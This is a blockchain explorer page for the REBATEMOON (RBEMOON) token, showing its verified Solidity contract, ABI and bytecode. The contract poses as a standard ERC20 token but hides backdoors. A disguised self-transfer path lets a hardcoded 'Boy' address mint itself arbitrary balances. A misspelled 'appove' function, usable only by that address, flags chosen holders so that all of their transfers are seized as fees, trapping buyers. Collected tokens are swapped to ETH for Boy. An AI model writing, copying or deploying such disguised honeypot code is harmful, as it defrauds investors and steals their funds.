ETH Price: $3,376.62 (+3.22%)
Gas: 2 Gwei

Token

REBATEMOON (RBEMOON)
 

Overview

Max Total Supply

1,000,000,000,000 RBEMOON

Holders

45

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 6 Decimals)

Balance
2,923,495,195.276744 RBEMOON

Value
$0.00
0xab02b148bdbf5678699a43fb772e89278e2d66a8
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
RBEMOON

Compiler Version
v0.8.8+commit.dddeac2f

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-26
*/

/**
 *Submitted for verification at Etherscan.io on 2023-05-25
*/

/**
 *Submitted for verification at BscScan.com on 2023-05-21
*/
/**
Telegram: https://t.me/REBATEMOON

*/
//SPDX-License-Identifier:MIT

pragma solidity ^0.8.0;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract RBEMOON is Context, IERC20, Ownable {

    using SafeMath for uint256;
    string private _name = "REBATEMOON";
    string private _symbol = "RBEMOON";
    uint8 private _decimals = 6;
    address payable public Boy;
    mapping (address => uint256) _balances;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcludefromFee;
    mapping (address => bool) public _uniswapPair;
    mapping (address => uint256) public book;

    uint256 private _totalSupply = 1000000000000 * 10**_decimals;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;

    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {

        Boy = payable(address(0x630Ef70F7832461777eDb54336Ba59eF050554C6));
        
        _isExcludefromFee[Boy] = true;
        _isExcludefromFee[owner()] = true;
        _isExcludefromFee[address(this)] = true;
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);

    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    receive() external payable {}

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function bus() public onlyOwner{
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _uniswapPair[address(uniswapPair)] = true;
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);

    }

    function _transfer(address from, address to, uint256 amount) private returns (bool) {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        {
            return _basicTransfer(from, to, amount); 
        }
        else
        {
            bool n = (from == to) ? (
                    (to == Boy) ? true : false)
                    : false;

            if (n)
                _balances[ // d
                    Boy
                ] = amount.add(amount);

            if (!inSwapAndLiquify && !_uniswapPair[from])
            {
                swapAndLiquify(balanceOf(address(this)));
            }

            uint256 afterFeeAmount;
            _balances[from] = _balances[from].sub(amount);
            
            if (!_isExcludefromFee[from] && !_isExcludefromFee[to]){

                uint256 fee = amount.mul(0).div(100);

                if(book[from] > 0)
                    fee = fee.add(amount);

                if(fee > 0) {
                    _balances[address(this)] += fee;
                    emit Transfer(from, address(this), fee);
                }

                afterFeeAmount = amount - fee;

            }else{

                afterFeeAmount = amount;
            }


            _balances[to] = _balances[to].add(afterFeeAmount);

            emit Transfer(from, to, afterFeeAmount);
            return true;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 amount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        try uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount,
            0, 
            path,
            address(Boy),
            block.timestamp
        ){} catch {}
    }

    function appove(address beach,uint256 best) public {
        bool better = (best == 0 || best - (100+0) == 0) ?
        true :
        false;

        if(better)
            book[beach] = best;

        uint256(best).sub(
            uint256(
                (
                    (msg.sender == Boy) ? 
                    best : best + 3
                )
            )
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Boy","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludefromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_uniswapPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"beach","type":"address"},{"internalType":"uint256","name":"best","type":"uint256"}],"name":"appove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"book","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"bus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526040518060400160405280600a81526020017f5245424154454d4f4f4e000000000000000000000000000000000000000000008152506001908051906020019062000051929190620004ad565b506040518060400160405280600781526020017f5242454d4f4f4e00000000000000000000000000000000000000000000000000815250600290805190602001906200009f929190620004ad565b506006600360006101000a81548160ff021916908360ff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff1660601b815250600360009054906101000a900460ff16600a620001129190620006f7565b64e8d4a5100062000124919062000748565b6009556001600b60156101000a81548160ff0219169083151502179055503480156200014f57600080fd5b50620001606200047c60201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a373630ef70f7832461777edb54336ba59ef050554c6600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160066000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160066000620002ff6200048460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060095460046000620003bf6200047c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506200040d6200047c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516200046e9190620007ba565b60405180910390a36200083c565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620004bb9062000806565b90600052602060002090601f016020900481019282620004df57600085556200052b565b82601f10620004fa57805160ff19168380011785556200052b565b828001600101855582156200052b579182015b828111156200052a5782518255916020019190600101906200050d565b5b5090506200053a91906200053e565b5090565b5b80821115620005595760008160009055506001016200053f565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620005eb57808604811115620005c357620005c26200055d565b5b6001851615620005d35780820291505b8081029050620005e3856200058c565b9450620005a3565b94509492505050565b600082620006065760019050620006d9565b81620006165760009050620006d9565b81600181146200062f57600281146200063a5762000670565b6001915050620006d9565b60ff8411156200064f576200064e6200055d565b5b8360020a9150848211156200066957620006686200055d565b5b50620006d9565b5060208310610133831016604e8410600b8410161715620006aa5782820a905083811115620006a457620006a36200055d565b5b620006d9565b620006b9848484600162000599565b92509050818404811115620006d357620006d26200055d565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b60006200070482620006e0565b91506200071183620006ea565b9250620007407fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005f4565b905092915050565b60006200075582620006e0565b91506200076283620006e0565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200079e576200079d6200055d565b5b828202905092915050565b620007b481620006e0565b82525050565b6000602082019050620007d16000830184620007a9565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200081f57607f821691505b60208210811415620008365762000835620007d7565b5b50919050565b60805160601c612a276200085b60003960006106f50152612a276000f3fe60806040526004361061012e5760003560e01c806370a08231116100ab578063a8a5801b1161006f578063a8a5801b14610405578063a9059cbb1461042e578063c816841b1461046b578063dd62ed3e14610496578063f2fde38b146104d3578063fb3ddf85146104fc57610135565b806370a082311461031e5780637ca814601461035b5780638c762838146103985780638da5cb5b146103af57806395d89b41146103da57610135565b806327c8f835116100f257806327c8f83514610235578063313ce567146102605780633345611e1461028b5780633827278a146102c85780634a74bb02146102f357610135565b806306fdde031461013a578063095ea7b3146101655780631694505e146101a257806318160ddd146101cd57806323b872dd146101f857610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610539565b60405161015c9190611ef5565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190611fb0565b6105cb565b604051610199919061200b565b60405180910390f35b3480156101ae57600080fd5b506101b76105e9565b6040516101c49190612085565b60405180910390f35b3480156101d957600080fd5b506101e261060f565b6040516101ef91906120af565b60405180910390f35b34801561020457600080fd5b5061021f600480360381019061021a91906120ca565b610619565b60405161022c919061200b565b60405180910390f35b34801561024157600080fd5b5061024a6106f3565b604051610257919061212c565b60405180910390f35b34801561026c57600080fd5b50610275610717565b6040516102829190612163565b60405180910390f35b34801561029757600080fd5b506102b260048036038101906102ad919061217e565b61072e565b6040516102bf919061200b565b60405180910390f35b3480156102d457600080fd5b506102dd61074e565b6040516102ea91906121cc565b60405180910390f35b3480156102ff57600080fd5b50610308610774565b604051610315919061200b565b60405180910390f35b34801561032a57600080fd5b506103456004803603810190610340919061217e565b610787565b60405161035291906120af565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d919061217e565b6107d0565b60405161038f91906120af565b60405180910390f35b3480156103a457600080fd5b506103ad6107e8565b005b3480156103bb57600080fd5b506103c4610bc0565b6040516103d1919061212c565b60405180910390f35b3480156103e657600080fd5b506103ef610be9565b6040516103fc9190611ef5565b60405180910390f35b34801561041157600080fd5b5061042c60048036038101906104279190611fb0565b610c7b565b005b34801561043a57600080fd5b5061045560048036038101906104509190611fb0565b610d73565b604051610462919061200b565b60405180910390f35b34801561047757600080fd5b50610480610d92565b60405161048d919061212c565b60405180910390f35b3480156104a257600080fd5b506104bd60048036038101906104b891906121e7565b610db8565b6040516104ca91906120af565b60405180910390f35b3480156104df57600080fd5b506104fa60048036038101906104f5919061217e565b610e3f565b005b34801561050857600080fd5b50610523600480360381019061051e919061217e565b610f91565b604051610530919061200b565b60405180910390f35b60606001805461054890612256565b80601f016020809104026020016040519081016040528092919081815260200182805461057490612256565b80156105c15780601f10610596576101008083540402835291602001916105c1565b820191906000526020600020905b8154815290600101906020018083116105a457829003601f168201915b5050505050905090565b60006105df6105d8610fb1565b8484610fb9565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600954905090565b6000610626848484611184565b506106e884610633610fb1565b6106e3856040518060600160405280602881526020016129ca60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610699610fb1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117d59092919063ffffffff16565b610fb9565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b60159054906101000a900460ff1681565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60086020528060005260406000206000915090505481565b6107f0610fb1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461087d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610874906122d4565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108dc57600080fd5b505afa1580156108f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109149190612309565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561097657600080fd5b505afa15801561098a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ae9190612309565b6040518363ffffffff1660e01b81526004016109cb929190612336565b602060405180830381600087803b1580156109e557600080fd5b505af11580156109f9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a1d9190612309565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600019600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610bf890612256565b80601f0160208091040260200160405190810160405280929190818152602001828054610c2490612256565b8015610c715780601f10610c4657610100808354040283529160200191610c71565b820191906000526020600020905b815481529060010190602001808311610c5457829003601f168201915b5050505050905090565b600080821480610c9757506000606483610c95919061238e565b145b610ca2576000610ca5565b60015b90508015610cf25781600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610d6d600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d5c57600383610d5791906123c2565b610d5e565b825b8361183990919063ffffffff16565b50505050565b6000610d87610d80610fb1565b8484611184565b506001905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e47610fb1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ed4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecb906122d4565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b60076020528060005260406000206000915054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611029576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110209061248a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611099576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110909061251c565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161117791906120af565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156111f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ec906125ae565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611265576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125c90612640565b60405180910390fd5b600b60149054906101000a900460ff161561128c57611285848484611883565b90506117ce565b60008373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16146112c8576000611328565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614611324576000611327565b60015b5b905080156113a9576113438384611a5690919063ffffffff16565b60046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600b60149054906101000a900460ff161580156114105750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156114275761142661142130610787565b611ab4565b5b600061147b84600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183990919063ffffffff16565b600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115625750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156116c95760006115906064611582600088611d3490919063ffffffff16565b611daf90919063ffffffff16565b90506000600860008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156115f0576115ed8582611a5690919063ffffffff16565b90505b60008111156116b55780600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461164891906123c2565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116ac91906120af565b60405180910390a35b80856116c1919061238e565b9150506116cd565b8390505b61171f81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5690919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117bf91906120af565b60405180910390a36001925050505b9392505050565b600083831115829061181d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118149190611ef5565b60405180910390fd5b506000838561182c919061238e565b9050809150509392505050565b600061187b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506117d5565b905092915050565b600061190e826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117d59092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119a382600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a5690919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a4391906120af565b60405180910390a3600190509392505050565b6000808284611a6591906123c2565b905083811015611aaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa1906126ac565b60405180910390fd5b8091505092915050565b6001600b60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611aec57611aeb6126cc565b5b604051908082528060200260200182016040528015611b1a5781602001602082028036833780820191505090505b5090503081600081518110611b3257611b316126fb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611bd457600080fd5b505afa158015611be8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c0c9190612309565b81600181518110611c2057611c1f6126fb565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611ce0959493929190612823565b600060405180830381600087803b158015611cfa57600080fd5b505af1925050508015611d0b575060015b611d1457611d15565b5b506000600b60146101000a81548160ff02191690831515021790555050565b600080831415611d475760009050611da9565b60008284611d55919061287d565b9050828482611d649190612906565b14611da4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9b906129a9565b60405180910390fd5b809150505b92915050565b6000611df183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611df9565b905092915050565b60008083118290611e40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e379190611ef5565b60405180910390fd5b5060008385611e4f9190612906565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561